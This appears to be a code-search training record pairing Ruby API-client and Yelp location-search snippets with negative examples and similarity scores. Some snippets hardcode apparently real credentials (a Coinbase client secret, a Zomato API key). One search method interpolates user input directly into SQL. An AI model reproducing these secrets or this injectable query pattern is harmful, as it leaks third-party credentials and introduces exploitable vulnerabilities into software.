"def initialize(consumer_key, consumer_secret, token, token_secret)\n consumer = OAuth::Consumer.new(consumer_key, consumer_secret, {\n :site => \"https://www.google.com\",\n :scheme => :header\n })\n\n @connection = OAuth::AccessToken.new(consumer,token, token_secret)\n\n @calendars = Calendar.new(@connection)\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(key,secret,options={}, base_url = DEFAULT_BASE_URL)\n consumer_key = key\n consumer_secret = secret\n\n consumer_key.empty? and raise ArgumentError, \"Toopher consumer key cannot be empty!\"\n consumer_secret.empty? and raise ArgumentError, \"Toopher consumer secret cannot be empty!\"\n\n @base_url = base_url\n @oauth_consumer = OAuth::Consumer.new(consumer_key, consumer_secret)\n @oauth_options = options\n end",
"def initialize(api_key, secret, api_uri)\n @api_key = api_key\n @secret = secret\n @api_uri = api_uri\n end",
"def initialize\n @api_user = \"\"\n @api_key = \"\"\n end",
"def initialize(config)\n $LOG.i('initializing client')\n @config = config\n @epoint = Upwork::Api::DEFAULT_EPOINT\n\t@url_auth, @url_rtoken, @url_atoken = URI_AUTH, URI_RTOKEN, URI_ATOKEN\n @tenant_id = nil\n\n\t@oauth2_client = OAuth2::Client.new(\n @config.client_id,\n @config.client_secret,\n\t :site => Upwork::Api::BASE_HOST,\n\t :authorize_url => @url_auth,\n\t :token_url => @url_atoken,\n\t :connection_opts => { :headers => {'User-Agent' => 'Github Upwork API Ruby Client' }}\n\t)\n end",
"def initialize(url=nil)\n\t\t\n\t\t#if config_file.nil?\n\t\t#\tconfig = '../../config/config_private.yaml'\n\t\t#else\n\t\t#\tconfig = config_file\n\t\t#end\n\n\t\t#These are loaded from ENV by ApiOAuthRequest object.\n\t\t#@keys['consumer_key'] = ENV['CONSUMER_KEY']\n\t\t#@keys['consumer_secret'] = ENV['CONSUMER_SECRET']\n\t\t#@keys['access_token'] = ENV['ACCESS_TOKEN']\n\t\t#@keys['access_token_secret'] = ENV['ACCESS_TOKEN_SECRET']\n\n\t\t@twitter_api = ApiOauthRequest.new()\n\t\t@twitter_api.uri_path = '/1.1/account_activity'\n\t\t@twitter_api.get_api_access\n\t\t\n\t\t@webhook_configs = []\n\t\t\n\tend",
"def initialize(consumer_key, consumer_secret, options = {})\n @xero_url = options[:xero_url] || \"https://api.xero.com/api.xro/2.0\"\n @payroll_url = options[:payroll_url] || \"https://api.xero.com/payroll.xro/1.0\"\n @client = OAuth.new(consumer_key, consumer_secret, options)\n end",
"def initialize(klass = nil)\n @klass = klass\n if @klass.present?\n @client = OAuth2::AccessToken.from_hash consumer, JSON.load(@klass.oauth2_token)\n end\n end",
"def init\n\t\tuser_credentials = {\n\t\t\t:access_token => access_token,\n\t\t\t:refresh_token => refresh_token,\n\t\t\t:expires_at => Time.now + expires_in\n\t\t}\n\n client_id = '694fc2f618facf30b3b41726ee6d0ac04c650669ca3d114cb0bae4223cecade3'\n client_secret = '3e7cfd07d829211ac50dd6486fe677ca76e965f25ad7d68e67e845e0d4a213e7'\n\t\tCoinbase::OAuthClient.new(client_id, client_secret, user_credentials)\n\tend",
"def initialize(from, to, client_secret)\n @from = from\n @to = to\n @client_secret = client_secret\n @access_token = fetch_access_token\n end",
"def initialize(base_url: BASE_URL, api_version: API_VERSION, api_key: API_KEY)\n @base_url = base_url\n @api_version = api_version\n @api_key = api_key\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(config=OpenAuth2::Config.new)\n @config = config\n @endpoint = endpoint\n end",
"def initialize\n api_key = ENV[\"TWITTER_API_KEY_ID\"]\n api_secret = ENV[\"TWITTER_API_SECRET\"]\n ##will be current_user.access_token\n access_token = ENV[\"TWITTER_ACCESS_TOKEN\"]\n access_token_secret = ENV[\"TWITTER_ACCESS_SECRET_TOKEN\"]\n\n @twitter_client = Twitter::REST::Client.new do |config|\n config.consumer_key = api_key\n config.consumer_secret = api_secret\n config.access_token = access_token\n config.access_token_secret = access_token_secret\n end\n\n end",
"def initialize(config, user = nil)\n @config = config\n @user = user\n\n options = {\n :consumer_key => config['consumer_key'],\n :consumer_secret => config['consumer_secret'],\n :access_token => user ? user.access_token : config['client_access_token'],\n :access_token_secret => user ? user.secret_token : config['client_secret_token']\n }\n\n super(options)\n end",
"def load_yelp_attributes \n client = Yelp::Client.new\n search = Yelp::V2::Search::Request::Location.new(\n :term => name, \n :city => city,\n :country => nation,\n :category => [\"lounges\"], \n :limit => 1,\n :consumer_key => YelpConfig[\"yelp_config\"][\"consKey\"], \n :consumer_secret => YelpConfig[\"yelp_config\"][\"consSecret\"], \n :token => YelpConfig[\"yelp_config\"][\"token\"], \n :token_secret => YelpConfig[\"yelp_config\"][\"tokenSecret\"])\n response = client.search(search);\n # self.yelp_rating = response['businesses'][0]['rating']\n # self.yelp_review = response['businesses'][0]['snippet_text']\n self.phone_number = response['businesses'][0]['display_phone']\n #cats = response['businesses'][0]['categories']\n self.display_address = response['businesses'][0]['location']['display_address'].join(\"<br/>\")\n self.latitude = response['businesses'][0]['location']['coordinate'][\"latitude\"]\n self.longitude = response['businesses'][0]['location']['coordinate'][\"longitude\"]\n end",
"def initialize\n super('OAuth')\n @config = nil # common config\n @auth = {} # configs for each site\n @nonce_count = 0\n @signature_handler = {\n 'HMAC-SHA1' => method(:sign_hmac_sha1)\n }\n end",
"def initialize\n @client = Twitter::REST::Client.new do |config|\n config.consumer_key = ENV['CONSUMER_KEY']\n config.consumer_secret = ENV['CONSUMER_SECRET']\n config.access_token = ENV['ACCESS_TOKEN']\n config.access_token_secret = ENV['ACCESS_TOKEN_SECRET']\n end\n end",
"def initialize(access_key, secret_key)\n @access_key = access_key\n @secret_key = secret_key\n end",
"def consumer\n @consumer ||= OAuth::Consumer.new(\n config[:consumer_key],\n config[:consumer_secret],\n :site => base_url\n )\n end",
"def initialize\n self.http_client = HTTPClient.new(:base_url => Rdioid::BASE_URL, :force_basic_auth => true)\n\n http_client.set_auth(Rdioid::OAUTH_TOKEN_ENDPOINT, Rdioid.config.client_id, Rdioid.config.client_secret)\n end",
"def initialize(o_auth_access_token: nil)\r\n Configuration.o_auth_access_token = o_auth_access_token if\r\n o_auth_access_token\r\n end",
"def initialize(apikey='f47a72ab00afe64aab78b9919ee3d427')\n\t\t@api_key = apikey\n\t\t@headers = {\"Accept\" => \"application/JSON\", \"user-key\" => @api_key}\n\t\t@base_uri = \"https://developers.zomato.com/api/v2.1/\"\n\tend",
"def oauth\n {\n consumer_key: @consumer_key,\n consumer_secret: @consumer_secret,\n token: @token,\n token_secret: @token_secret\n }\n end",
"def initialize(access_token: nil)\r\n Configuration.access_token = access_token if\r\n access_token\r\n end",
"def initialize(api_key, secret, format_options={})\n @auth = { :api_key => api_key }\n @secret = secret\n end",
"def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end",
"def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end",
"def initialize(params)\n @oauth_id = params[:oauth_id]\n @oauth_secret = params[:oauth_secret]\n @authorization_url = params[:authorization_url]\n @token_url = params[:token_url]\n\n @room_id = params[:room_id]\n @group_id = params[:group_id]\n\n @room_id = @room_id.to_i if ! @room_id.nil?\n @group_id = @group_id.to_i if ! @group_id.nil?\n\n api_base_uri = params[:api_base].to_s\n unless api_base_uri.end_with?('/')\n api_base_uri += '/';\n end\n @api_base = URI.parse(api_base_uri)\n end",
"def initialize(api_key)\n @api_key = api_key \n end",
"def initialize api_key=ENV['b2w_api_key'], api_url=\"http://api.born2win.local/v2/events\"\n @api_url = api_url\n @api_key = api_key\n end",
"def consumer\n @consumer ||= ::OAuth::Consumer.new(@api_key, @api_secret, @consumer_options)\n end",
"def initialize(api_key = nil, shared_secret = nil, options = nil)\n @api_key = api_key || @@default_api_key\n @shared_secret = shared_secret || @@default_shared_secret\n @options = options || @@default_options\n @rest_endpoint = @options[:rest_endpoint] || REST_ENDPOINT\n @auth_endpoint = @options[:auth_endpoint] || AUTH_ENDPOINT\n end",
"def initialize(klass = nil)\n @klass = klass\n if @klass.present?\n @client = OAuth::AccessToken.new(consumer, @klass.access_token, @klass.access_secret)\n end\n end",
"def base_url\n \"https://api.yelp.com/v3/\"\n end",
"def initialize\n get_enterprise_token\n initialize_client\n end",
"def initialize( api_key )\n @api_key = api_key\n end",
"def initialize\n\t\t@zomato = Zomato::Base.new(@@api_key)\n\tend",
"def initialize(token, version)\n # The token to use when connecting to the endpoint\n @token = token\n # The version of the API we will use\n @version = version\n end",
"def initialize(api_key, api_secret)\n @api_key = api_key\n @api_secret = api_secret\n @api_base_url = 'https://pepocampaigns.com'\n end",
"def initialize(options = {})\n LinkedInConnect.load_config.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n end\n @consumer_options = {\n :site => @site,\n :request_token_path => @request_token_path,\n :authorize_path => @authorize_path,\n :access_token_path => @access_token_path,\n :oauth_callback => @oauth_callback\n }\n end",
"def initialize(config=nil)\n\n @uri_path = \"/1.1/account_activity\"\n\n #Create a 'wrapper' to the the Twitter Account Activity API, and get authenticated.\n\t\t@twitter_api = ApiOauthRequest.new(config)\n\t\t#OAuth keys are loaded from ENV by ApiOAuthRequest object, unless a config file is specified.\n\t\t#@keys['consumer_key'] = ENV['CONSUMER_KEY']\n\t\t#@keys['consumer_secret'] = ENV['CONSUMER_SECRET']\n\t\t#@keys['access_token'] = ENV['ACCESS_TOKEN']\n\t\t#@keys['access_token_secret'] = ENV['ACCESS_TOKEN_SECRET']\n\n\t\t@twitter_api.get_api_access\n\t\t\n\t\t@webhook_configs = []\n\t\t\n end",
"def initialize(linker, app_name,api_key,api_secret)\n @linker=linker\n @applicationName=app_name\n @apiKey=api_key\n @apiSecret=api_secret\n end",
"def initialize(access_token)\n self.class.basic_auth access_token, nil\n end",
"def initialize(api_key, secret, user, session_key=nil)\n @api_key = api_key\n @secret = secret\n @user = user\n @session_key = session_key\n @source = \"P\"\n end",
"def initialize(base_url,model_data)\n @base_url = base_url\n @model_data = model_data\n\n\n unless @requester_id = model_data[REQUESTER_ID]\n raise ArgumentError, \"Cannot create a #{self.class} without a requester_id\"\n end\n\n @authz_client = AuthzClient.new(resource, @requester_id, base_url)\n @id = model_data[OBJECT_ID]\n end",
"def initialize\n @token_type = 'bearer'\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize\n @client_sdk_id = ''\n @key_file_path = ''\n @key = ''\n @sdk_identifier = 'Ruby'\n @api_url = 'https://api.yoti.com'\n @api_port = 443\n @api_version = 'v1'\n end",
"def initialize(oauth_service_factory)\r\n @oauth_service_factory = oauth_service_factory\r\n @data_format = DataFormat::JSON\r\n @auth_method = nil\r\n @username = nil\r\n @password = nil\r\n @current_oauth_request = nil\r\n end",
"def consumer\n OAuth::Consumer.new(consumer_key, consumer_secret, :site => endpoint)\n end",
"def initialize(key, region)\n\t\t\t@api_key = key\n\t\t\t@region = region\n\t\t\t@api_suffix = \"?api_key=\" + @api_key\n\t\t\t@entry_point = \"http://prod.api.pvp.net/api/lol/\" + @region +\"/v1.1/\"\n\t\tend",
"def initialize(apikey)\n @apikey = apikey\n end",
"def consumer\n @consumer ||= OAuth::Consumer.new(\n @consumer_key,\n @consumer_secret,\n { :site=> self.class.site }\n )\n end",
"def initialize(ctoken, csecret, options={})\n @ctoken, @csecret, @consumer_options = ctoken, csecret, {}\n @api_endpoint = options[:api_endpoint] || 'http://api.teambox.com'\n @signing_endpoint = options[:signing_endpoint] || 'http://api.teambox.com'\n if options[:sign_in]\n @consumer_options[:authorize_path] = '/oauth/authenticate'\n end\n end",
"def initialize(api_key, region = 'na')\n @api_key = api_key\n @region = region\n @http = Hurley::Client.new\n @http.header[:content_type] = 'application/json'\n @http.query['api_key'] = api_key\n end",
"def initialize(client_id, access_token=nil, callback=nil)\n @client_id = client_id\n @access_token = access_token\n @format = :json\n @callback = callback\n end",
"def initialize()\n @tenantId = MyAzure.get_tenant_id\n @clientId = MyAzure.get_client_id\n @clientSecret = MyAzure.get_client_secret\n \n # Generate bearer token.\n @bearerToken = auth_bearer_aad\n \n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
"def initialize(api_key:)\n @api_key = api_key\n end",
"def initialize(options={})\n @access_token = options[:access_token]\n @connection = Faraday.new(url: Behance::Client::API_URL) do |b|\n b.adapter Faraday.default_adapter\n b.use FaradayMiddleware::ParseJson\n end\n end",
"def initialize(user, password)\n @user = user\n @password = password\n\n # In the constructor, try to authenticate and get the access_token and\n # client_id\n authenticate\n end",
"def oauth2_client(token, params = {})\n @oauth2_client = RubyLokaliseApi::OAuth2Client.new token, params\n end",
"def oauth\n ::OAuth::Consumer.new(Config.consumer_key, Config.consumer_secret, :site => \"https://api.twitter.com\")\n end",
"def initialize\n @format = 'json'\n @scheme = 'https'\n @host = 'api.imagga.com:443'\n @base_path = '/v2'\n @user_agent = 'Swagger/Ruby/0.1.0/beta'\n @inject_format = false\n @force_ending_format = false\n @camelize_params = false\n # for API key/token authentication\n @api_key = '';\n @api_key_type = '';\n @api_key_name = '';\n @api_key_prefix = '';\n # for http basic authentication\n @username = ''\n @password = ''\n @user_agent = 'Swagger/Ruby/0.1.0/beta'\n end",
"def initialize(options)\n self.api_key, self.secret_key = options[\"api_key\"], options[\"secret_key\"]\n self.district_number = options[\"district_number\"]\n self.endpoint = options[\"endpoint\"] || TIES::ENDPOINT\n end",
"def initialize (api_key)\n\t\t@params = {\n\t\t\t\"key\" => api_key,\n\t\t\t\"wrapper\" => \"cleverbotrb\"\n\t\t}\n\t\t@endpoint = ENDPOINT\n\tend",
"def initialize\n @api_url = 'http://booking.uz.gov.ua'\n @agent = Mechanize.new\n\n get_token\n set_headers\n end",
"def get_consumer\n ::OAuth::Consumer.new(@key, @secret, @configuration)\n end",
"def initialize(access_hash = nil)\n @access_token = access_hash[\"access_token\"] if access_hash\n # binding.pry\n end",
"def connect\n consumer = OAuth::Consumer.new(@c_key, @c_sec,\n { :site => \"https://api.twitter.com\",\n :scheme => :header\n })\n\n token_hash = { :oauth_token => @a_tok,\n :oauth_token_secret => @a_sec\n }\n\n @access_token = OAuth::AccessToken.from_hash(consumer, token_hash)\n end",
"def oauth_client\n if @oauth_client\n @oauth_client\n else\n conn ||= Faraday::Connection.new \\\n :url => \"https://api.gowalla.com\",\n :headers => default_headers\n\n oauth= OAuth2::Client.new(api_key, api_secret, oauth_options = {\n :site => 'https://api.gowalla.com',\n :authorize_url => 'https://gowalla.com/api/oauth/new',\n :access_token_url => 'https://gowalla.com/api/oauth/token'\n })\n oauth.connection = conn\n oauth\n end\n end",
"def initialize(params)\n\n fail 'missing API Base URL' if params[:api_base_url].nil?\n fail 'missing API Key' if params[:api_key].nil?\n fail 'missing API Secret' if params[:api_secret].nil?\n\n params[:api_base_url] = params[:api_base_url].gsub(/\\/$/, '') # remove trailing slash\n params[:api_spec] = false if params[:api_spec].nil?\n\n set_manifest(params)\n\n end",
"def initialize(api_key, servers, restaurant_url=nil, user_url=nil, order_url=nil)\n @api_key = api_key\n if servers!=:custom\n unless restaurant_url.nil? and user_url.nil? and order_url.nil?\n raise ArgumentError.new(\"Individual URL parameters can only be set if servers is set to :custom\")\n end\n end\n if servers==:production\n restaurant_url = \"https://r.ordr.in/\"\n user_url = \"https://u.ordr.in/\"\n order_url = \"https://o.ordr.in/\"\n elsif servers==:test\n restaurant_url = \"https://r-test.ordr.in/\"\n user_url = \"https://u-test.ordr.in/\"\n order_url = \"https://o-test.ordr.in/\"\n elsif servers!=:custom\n raise ArgumentError.new(\"servers must be set to :production, :test, or :custom\")\n end\n unless restaurant_url.nil?\n @restaurant = RestaurantApi.new(api_key, restaurant_url)\n end\n unless user_url.nil?\n @user = UserApi.new(api_key, user_url)\n end\n unless order_url.nil?\n @order = OrderApi.new(api_key, order_url)\n end\n end",
"def initialize(client_id:, client_secret:, token:, refresh_token:, expires_at:)\n @basic_token = Base64.strict_encode64(\"#{client_id}:#{client_secret}\")\n\n @oauth2_client = OAuth2::Client.new(client_id, client_secret,\n authorize_url: 'https://www.fitbit.com/oauth2/authorize',\n token_url: 'https://api.fitbit.com/oauth2/token')\n\n opts = { refresh_token: refresh_token,\n expires_at: expires_at }\n @access_token = OAuth2::AccessToken.new(@oauth2_client, token, opts)\n end"
] |
[
"0.73469484",
"0.7093125",
"0.7018009",
"0.69608104",
"0.6924701",
"0.6921171",
"0.68708616",
"0.6853224",
"0.68379825",
"0.6800059",
"0.67958343",
"0.6791814",
"0.6791814",
"0.6783221",
"0.6728319",
"0.6712689",
"0.6705261",
"0.66949236",
"0.66852754",
"0.66642934",
"0.66642934",
"0.66642934",
"0.6651525",
"0.66501075",
"0.66473925",
"0.66415083",
"0.663825",
"0.6628848",
"0.66210455",
"0.66016924",
"0.65980697",
"0.6592316",
"0.6569875",
"0.6569875",
"0.6569875",
"0.65144634",
"0.65098745",
"0.6478163",
"0.64722675",
"0.64698696",
"0.6461663",
"0.64480335",
"0.6430625",
"0.6419088",
"0.64053273",
"0.64030737",
"0.63971865",
"0.6385514",
"0.63811755",
"0.6379255",
"0.6379255",
"0.6374049",
"0.63732535",
"0.6368191",
"0.63506335",
"0.63411325",
"0.6334712",
"0.6304561",
"0.6299099",
"0.6291821",
"0.6282945",
"0.62714183",
"0.6255517",
"0.625497",
"0.62447757",
"0.62356097",
"0.6230195",
"0.62219965",
"0.62195116",
"0.6218816",
"0.6207169",
"0.62052035",
"0.6193716",
"0.61925596",
"0.6192411",
"0.6182331",
"0.6165636",
"0.61471325",
"0.61444885",
"0.6144302",
"0.61430675",
"0.6135964",
"0.6135964",
"0.6135964",
"0.61324745",
"0.61300796",
"0.6115843",
"0.61107945",
"0.61104035",
"0.61099714",
"0.6107648",
"0.610575",
"0.6105397",
"0.60967076",
"0.60705113",
"0.60652477",
"0.6058099",
"0.60576445",
"0.6057611",
"0.6057148"
] |
0.73715365
|
0
|
Search for businesses near a given location +term+ The search term +location+ The location to search search_by_location("dinner", "san+francisco") Returns an array of Yelp::Business objects
|
def search_with_location(term, location, options={})
search_businesses(term, options.merge(:location => location))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def search(term, location)\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n params = {\n term: term,\n location: location,\n limit: SEARCH_LIMIT\n }\n#this takes info from params hash\n response = HTTP.auth(bearer_token).get(url, params: params)\n response.parse[\"businesses\"]\nend",
"def search_with_coordinates(term, latitude, longitude, options={})\n search_businesses(term, options.merge(:ll=>\"#{latitude},#{longitude}\"))\n end",
"def my_search(input, latitude, longitude)\r\n\tyelp = yelp_search(input, latitude, longitude)\r\n\t\r\n\treturn '\"error\"' if yelp.nil? || yelp['error']\r\n\t\r\n\tresults = yelp['businesses'].map do |business|\r\n\t\t{\r\n\t\t\tname: business['name'],\r\n\t\t\tid: business['id'],\r\n\t\t\turl: business['url'],\r\n\t\t\trating: business['rating'],\r\n\t\t\tprice: business['price'],\r\n\t\t\tdistance: business['distance'],\r\n\t\t\tlatitude: business['coordinates']['latitude'],\r\n\t\t\tlongitude: business['coordinates']['longitude']\r\n\t\t}\r\n\tend\r\n\t\r\n\tJSON.generate(results)\r\nend",
"def search(query)\n @client.get('/BikePoint/Search', { query: query })\n end",
"def search_buddies_by_location\n buddy_data = []\n if latitude.blank? || longitude.blank?\n location = [requested_user.current_latitude, requested_user.current_longitude] \n else\n location = [latitude.to_f, longitude.to_f]\n end\n if location_lock == \"true\"\n if search.blank?\n users = User.page(page).per(10).joins(:feeds).includes(:feeds).within(proximity, :origin => location)\n else\n users = User.page(page).per(10).joins(:feeds).includes(:feeds).where(\"name like '%#{search}%'\").within(proximity, :origin => location)\n end\n else\n if search.blank?\n render :status=>401,\n :json=>{:Message=>\"The search cannot be blank for universal search.\",\n :Response => \"Fail\",\n :Data => nil} \n end\n users = User.page(page).per(10).joins(:feeds).includes(:feeds).where(\"name like '%#{search}%'\") unless search.blank?\n end\n users.collect {|user| buddy_data.push(Hashie::Mash.new(:User => user, :Feeds => user.feeds))}\n render :status=>200,\n :json=>{:Message=>\"Here are the buddies near you!\",\n :Response => \"Success\",\n :Data => buddy_data} \n end",
"def yelp_search\n begin\n client = Yelp::Client.new\n request = Yelp::V2::Search::Request::Location.new(\n term: \"#{self.name}\",\n address: \"#{self.address}\",\n city: \"New York\"\n )\n response = client.search(request)\n rating = response[\"businesses\"].first[\"rating\"]\n img_url = response[\"businesses\"].first[\"image_url\"]\n info_array = [rating, img_url]\n rescue\n info_array = [0.0, \"http://upload.wikimedia.org/wikipedia/en/d/d6/Image_coming_soon.png\"]\n end\n return info_array\n end",
"def search(term, location=@location)\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n params = {\n term: term,\n location: location,\n limit: SEARCH_LIMIT\n }\n\n response = HTTP.auth(\"Bearer #{API_KEY}\").get(url, params: params)\n response.parse\n end",
"def search(term)\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n params = {\n term: term,\n # location: DEFAULT_LOCATION,\n latitude: 37.784517,\n longitude: -122.397194,\n limit: SEARCH_LIMIT,\n open_now: true\n }\n\n response = HTTP.auth(ENV[\"AUTHORIZATION\"]).get(url, params: params)\n\n response.parse\n end",
"def show\n\n @client = Yelp::Client.new\n\n @request = Location.new(\n :term => @event.topPrefs,\n :zipcode => @event.zip,\n :limit => \"3\"\n #:category_filter => @yelp_search.category_filter,\n #:radius_filter => @yelp_search.radius_filter,\n )\n\n @response = @client.search(@request)\n @businesses = @response.to_h[\"businesses\"]\n end",
"def results\n # lat, lng, and term from user.js AJAX get request\n p params\n @lat = params[:lat]\n @long = params[:lng]\n term = params[:term]\n yelp_params = { term: term, limit: 5, sort: 1}\n coordinates = { latitude: @lat, longitude: @long }\n new_search = Yelp.client.search_by_coordinates(coordinates, yelp_params)\n # TODO - refactor into a separate function\n p new_search\n new_search.businesses.each do |business|\n \t result_name = business.name\n result_distance = business.distance\n \t result_address = business.location.address\n \t result_lat = business.location.coordinate.latitude\n \t result_long = business.location.coordinate.longitude\n \t # result_review = business.review_count\n \t # result_rating = business.rating\n end \n render json: new_search\n end",
"def execute(m, query, location)\n request = ::Yelp::V2::Search::Request::Location.new({\n :term => query,\n :address => location,\n :consumer_key => config['consumer_key'],\n :consumer_secret => config['consumer_secret'],\n :token => config['token'],\n :token_secret => config['token_secret']\n })\n\n response = @client.search(request)\n\n m.reply(\"Oops, Yelp didn't understand that location!\", true) and return if response['error']\n m.reply(\"Sorry, Yelp doesn't have any businesses matching \\\"#{query}\\\" near \\\"#{location}\\\"!\") and return if response['businesses'].empty?\n\n business = response['businesses'].sample\n name = business['name']\n rating = business['rating']\n reviews = business['review_count']\n url = business['url']\n address = business['location']['address'].first\n\n m.reply \"You should try #{name} at #{address}! It's rated #{rating} stars with #{reviews} reviews: #{url}\", true\n end",
"def build_potential_business(yelp_result)\n if yelp_result.is_closed\n return nil\n end\n\n business_params = {\n yelp_id: yelp_result.id,\n display_name: yelp_result.name\n }\n\n Business.new(business_params)\n end",
"def lookup_business_location\n BusinessLocator.new(self).lookup\n end",
"def search(q:, raw: false)\n return unless String(q).length > 10\n\n result = Geocoder.search(q)\n raw ? result&.data : format_result(result)\n end",
"def index\n if params[:search].present? and !params[:search].empty?\n @search_location = params[:search]\n @boats = Boat.complete.near(search_params, 20, unit: :km, order: 'distance').select(&:can_be_published?)\n @search_results_count = @boats.size # count doesn't work with near\n if @boats.empty?\n @boats = Boat.complete.near(search_params, 99999, unit: :km, order: 'distance').select(&:can_be_published?)\n @boats = Boat.all if @boats.empty?\n end\n else\n @boats = Boat.complete.all.select(&:can_be_published?)\n end\n end",
"def index\n if params[:search]\n @mybusinesses = Mybusiness.search(params[:search]).order(\"created_at DESC\")\n else\n @mybusinesses = Mybusiness.all.order('created_at DESC')\n end\n end",
"def index\n \t#Change to make a response flexible from a query method\n \tresponse = HTTP.auth(\"Bearer #{ENV['YELP_API_KEY']}\").get('https://api.yelp.com/v3/businesses/search?term=coffee&location=nyc')\n \t@yelps = response.parse['businesses']\n end",
"def listings_detailed_business_search(parameters, opts = {})\n data, _status_code, _headers = listings_detailed_business_search_with_http_info(parameters, opts)\n data\n end",
"def search(term)\n results = connection.exec_params(\"SELECT * FROM contacts WHERE name LIKE concat('%', $1::text, '%') OR email LIKE concat('%', $1::text, '%');\", [term])\n return results.map do |contact| \n Contact.new(contact['name'], contact['email'],contact['id'])\n end\n #TODO: account for phone#s\n end",
"def search\n @places = FoursquarePlace.places_near_coordinates(@coordinates, query: params[:search_terms])\n render json: { data: @places }\n end",
"def search(description, location, offset = 0, per_page = 5)\n params = { description: description, location: location }\n response = advanced_search(params, offset, per_page)\n end",
"def search_locally(search_term:)\n return [] unless search_term.present? && search_term.length > 2\n\n orgs = local_search(search_term: search_term)\n prepare(search_term: search_term, records: orgs)\n end",
"def get_restaurants(location)\n latitude, longitude = convert_location(location)\n\n food_query = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"/maps/api/place/nearbysearch/json\",\n :query_values => {:location => \"#{latitude},#{longitude}\",\n :radius => \"#{get_distance}\",\n :types => \"food\",\n :key => \"#{KEY}\",\n :sensor => \"false\",\n :keyword => \"#{get_food_kind}\"}\n )\n food_query_json = RestClient.get(food_query.to_s)\n JSON.parse(food_query_json)[\"results\"]\n end",
"def index\n if (params[:search])\n if (params[:search][:price_range] == \"\")\n @businesses = Business.joins(:categories).search(params[:search][:query],params[:search][:location])\n # if filters\n # @businesses = @businesses.in_bounds(filters)\n # end\n else\n @businesses = Business.search_price(params[:search][:price_range])\n # if filters\n # @businesses = @businesses.in_bounds(filters)\n # end\n end\n else\n @businesses = params[:filters] ? Business.in_bounds(filters) : Business.all\n \n end\n @categories = Category.all\n end",
"def get_by_location\n \tlat = params[:lat]\n \tlng = params[:lng]\n \tnext_start = params[:next_start]\n \tshops = Hotpepper.search_location(lat, lng, next_start);\n \tset_to_results(shops);\n end",
"def search\n\n\t\t@search_loc = params[:search_loc] # address user searched for\n\t\t@search_lat = params[:search_lat] # the user's current location latitude. If the address searched for fails to give a new latitude, this is used instead\n\t\t@search_long = params[:search_long] # the user's current longitude - same use case as above\n\t\tif @search_loc != nil\n\t\t\taddress = @search_loc.gsub(/\\s/, \"+\")\n\t\t\turi = URI.parse(\"http://maps.googleapis.com/maps/api/geocode/json?address=\" + address + \"&sensor=false\")\n\t\t\thttp = Net::HTTP.get_response(uri)\n\t\t\tresults = JSON.parse(http.body)\n\t\t\t# if address yielded results, override the user's current location coordinates with the searched-for-latitude/longitude\n\t\t\tif results[\"status\"] != \"ZERO_RESULTS\"\n\t\t\t\t@search_lat = results[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n\t\t\t\t@search_long = results[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\t\t\tend\n\t\tend\n\n\t\t@search_item = \"\"\n\t\tif params[:search_item] then\n\t\t\t@search_item = params[:search_item]\n\t\tend\n\t\t@search_item.downcase\n\n\t\t# the default search distance (max circular radius of a restaurant from the searched for location) is 5 unless the user specified a search radius\n\t\t@search_distance = DEFAULT_SEARCH_DISTANCE\n\t\tif params[:search_distance] then\n\t\t\t@search_distance = params[:search_distance]\n\t\tend\n\n\t\t@max_results = DEFAULT_MAX_RESULTS\n\t\tif params[:results] then\n\t\t\t@max_results = params[:results].to_i\n\t\tend\n\n\t\t# Based on the Haversine Formula found on google maps API. The below is a Sql query to find all restaurants that has dishes with a dish name containing the search query or a dish description containing the search query,\n\t\t# (independent of case), or the restaurant name or description contains the search query, and the restaurant must be within the circular search\n\t\t# radius of the searched for location.\n\t\t@restaurants = Restaurant.find_by_sql([\"SELECT DISTINCT restaurants.* from foods, restaurants WHERE\n\t\t\t(3959*acos(cos(radians(?))*cos(radians(restaurants.latitude))*cos(radians(restaurants.longitude)-radians(?)) + \n\t\t\tsin(radians(?))*sin(radians(restaurants.latitude)))) < ? AND ((lower(restaurants.name) like ? OR \n\t\t\tlower(restaurants.description) like ?) OR (lower(foods.dish_name) like ? OR lower(foods.description) like ?)) AND \n\t\t\tfoods.restaurant_id = restaurants.id LIMIT ?\", @search_lat, @search_long, @search_lat, @search_distance, \"%#{@search_item}%\", \n\t\t\t\"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", @max_results])\n\n\t\t# All of the dishes returned below are ordered by average rating from highest to lowest.\n\t\t# Similar to the above query, but returns the dishes that are within restaurants within the given distance radius that has a dish name or description\n\t\t# with the search query, or its restaurant name / description has the search query.\n\t\t@dishes = Food.find_by_sql([\"SELECT DISTINCT foods.* from foods, restaurants WHERE \n\t\t\t(3959*acos(cos(radians(?))*cos(radians(restaurants.latitude))*cos(radians(restaurants.longitude)-radians(?)) + \n\t\t\tsin(radians(?))*sin(radians(restaurants.latitude)))) < ? AND ((lower(restaurants.name) like ? OR \n\t\t\tlower(restaurants.description) like ?) OR (lower(foods.dish_name) like ? OR lower(foods.description) like ?)) AND \n\t\t\tfoods.restaurant_id = restaurants.id ORDER BY foods.rating DESC NULLS LAST OFFSET 2 LIMIT ?\", @search_lat, @search_long, @search_lat, \n\t\t\t@search_distance, \"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", @max_results])\n\n\t\t@num_items_per_row = DEFAULT_NUM_ITEMS_PER_ROW\n\t\t@num_rows_per_page = DEFAULT_NUM_ROWS_PER_PAGE\n\t\tif params[:itemspr] 